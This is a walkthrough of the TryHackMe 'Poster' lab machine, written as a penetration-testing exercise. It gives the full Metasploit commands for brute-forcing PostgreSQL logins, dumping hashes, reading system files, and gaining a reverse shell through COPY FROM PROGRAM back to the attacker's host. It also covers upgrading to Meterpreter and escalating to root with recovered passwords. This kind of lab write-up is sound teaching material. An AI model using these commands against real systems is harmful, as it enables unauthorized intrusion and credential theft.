Sitemap

Poster — TryHackme

6 min readApr 7, 2026

--

Press enter or click to view image in full size

Introduction

In this writeup, we will approach the target from a real-world penetration testing perspective rather than simply solving it as a CTF challenge. The goal is to follow a structured methodology that can be applied in real engagements, including enumeration, service exploitation, credential discovery, and privilege escalation.

Enumeration

Initial Enumeration

As always, we start with a full port scan to understand the attack surface:

nmap -sV -p- -T4 <target>
Press enter or click to view image in full size

The scan reveals:

  • SSH (22)
  • Web server (80)
  • PostgreSQL (5432)

Web Enumeration

Accessed the web server on port 80.

Press enter or click to view image in full size
++

The website was static and didn’t reveal anything useful.

Performed directory brute forcing:

gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt

No interesting directories or files were found.

So moved to the next service.

PostgreSQL Exploitation

Now we shift focus to PostgreSQL.

Opened Metasploit and searched for PostgreSQL modules:

search postgres type:auxiliary
Press enter or click to view image in full size

Attempting Authentication

Since PostgreSQL requires authentication, the first step is to try logging in.

A common approach here is to perform a brute-force or credential guessing attack.

We use the login module:

use auxiliary/scanner/postgres/postgres_login
set rhosts <target>
set verbose false
set stop_on_success true
run
Press enter or click to view image in full size

After running the module, we successfully obtain credentials:

postgres : password

This is a classic real-world misconfiguration — weak/default credentials.

Interacting with the Database

Now that we have valid credentials, we can start interacting with the database.

We first verify access and gather information about the database:

use auxiliary/admin/postgres/postgres_sql
set rhosts <target>
set USERNAME postgres
set PASSWORD password
run
Press enter or click to view image in full size

This confirms:

PostgreSQL 9.5.x running on Ubuntu (64-bit)

Dumping User Hashes

Next, we try to extract stored credentials from the database.

use auxiliary/scanner/postgres/postgres_hashdump
set rhosts <target>
set USERNAME postgres
set PASSWORD password
run
Press enter or click to view image in full size

Why is this important?

  • These hashes can be cracked offline
  • Users often reuse passwords
  • These credentials might work on SSH or other services

Reading Files from the System

Since we are authenticated, we can also attempt to read files from the underlying system:

use auxiliary/admin/postgres/postgres_readfile
set rhosts <target>
set USERNAME postgres
set PASSWORD password
run
Press enter or click to view image in full size

This is very powerful because databases sometimes have permissions to read system files

We might find:

  • configuration files
  • credentials
  • SSH keys

Gaining Shell & Privilege Escalation

Exploiting PostgreSQL for RCE

After gaining valid database credentials, the next step is to see if we can move beyond database access and get remote command execution (RCE) on the system.

While searching for PostgreSQL exploits:

search postgres type:exploit

We find an interesting module:

exploit/multi/postgres/postgres_copy_from_program_cmd_exec
Press enter or click to view image in full size

This exploit allows command execution through PostgreSQL using the COPY FROM PROGRAM feature.

Getting a Shell

We use the exploit with our credentials:

use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
set rhosts <target>
set LHOST <your-ip>
set USERNAME postgres
set PASSWORD password
run
Press enter or click to view image in full size

Upgrading to a Meterpreter Shell

After gaining initial access through the PostgreSQL exploit, the shell we obtained was a basic shell. While it works, it is limited and does not provide advanced post-exploitation features.

Get Azzam Mohammed (WHHacker)’s stories in your inbox

Join Medium for free to get updates from this writer.

Inside Metasploit, we list our active sessions:

sessions
Press enter or click to view image in full size

Then upgrade the shell using:

sessions -u 1
Press enter or click to view image in full size

After upgrading the shell to Meterpreter, we can start performing local enumeration to better understand the system.

sysinfo
Press enter or click to view image in full size

From this, we can confirm:

  • The system is running Ubuntu 16.04
  • We are still operating as the postgres user
  • The system is relatively old → possible privilege escalation opportunities

Enumerating the System

When I tried:

cat /home/alison/user.txt

It returned:

Press enter or click to view image in full size

So we need to find credentials or another path.

Finding Credentials

While exploring user directories, found a file:

cat /home/dark/credentials.txt
Press enter or click to view image in full size

Tried switching user:

shell
/bin/bash -i
su dark
Press enter or click to view image in full size

Here this means Before using su, we need a proper interactive shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 40 columns 120
Press enter or click to view image in full size

But even after switching, still no access to Alison’s files.

This shows that not all users have useful privileges — we need better credentials.

Exploring Web Configuration Files

Since this is a web server, a good approach is to check for configuration files.

Navigated to:

cd /var/www/html
Press enter or click to view image in full size

Then read:

cat config.php
Press enter or click to view image in full size

Here we got alison’s password p4ssw0rdS3cur3!#

switching to Alison

Here this means Before using su, we need a proper interactive shell.

shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty rows 40 columns 120
Press enter or click to view image in full size

Switch to alison user

su alison
Press enter or click to view image in full size

Getting User Flag :

cat /home/alison/user.txt
Press enter or click to view image in full size

Privilege Escalation

After gaining access as a low-privileged user, the next step is to check what commands we are allowed to run with elevated privileges.

The first thing to do during privilege escalation is always:

sudo -l

This command lists the sudo permissions for the current user.

Press enter or click to view image in full size

This means the user can execute any command as root, which leads to direct privilege escalation.

Getting Root Access :

Since we have full sudo privileges, we can directly switch to the root user:

sudo su

Enter the password of alison: p4ssw0rdS3cur3!#

Press enter or click to view image in full size

Getting Root Flag :

cat /root/root.txt
Press enter or click to view image in full size

Conclusion

In this machine, we started with proper enumeration and identified multiple exposed services. After testing the web application and finding no useful entry point, we shifted our focus to the PostgreSQL service, which led to valid credentials through a brute-force attack.

Using these credentials, we were able to interact with the database, extract hashes, and eventually exploit PostgreSQL to gain remote command execution. From there, we performed local enumeration, discovered additional credentials in system files, and gained access to a higher-privileged user.

Finally, by checking sudo permissions, we identified a misconfiguration that allowed full root access, leading to complete compromise of the system.

--

--

Written by Azzam Mohammed (WHHacker)

Curious about how real-world systems are attacked and defended, sharing my ongoing journey into penetration testing.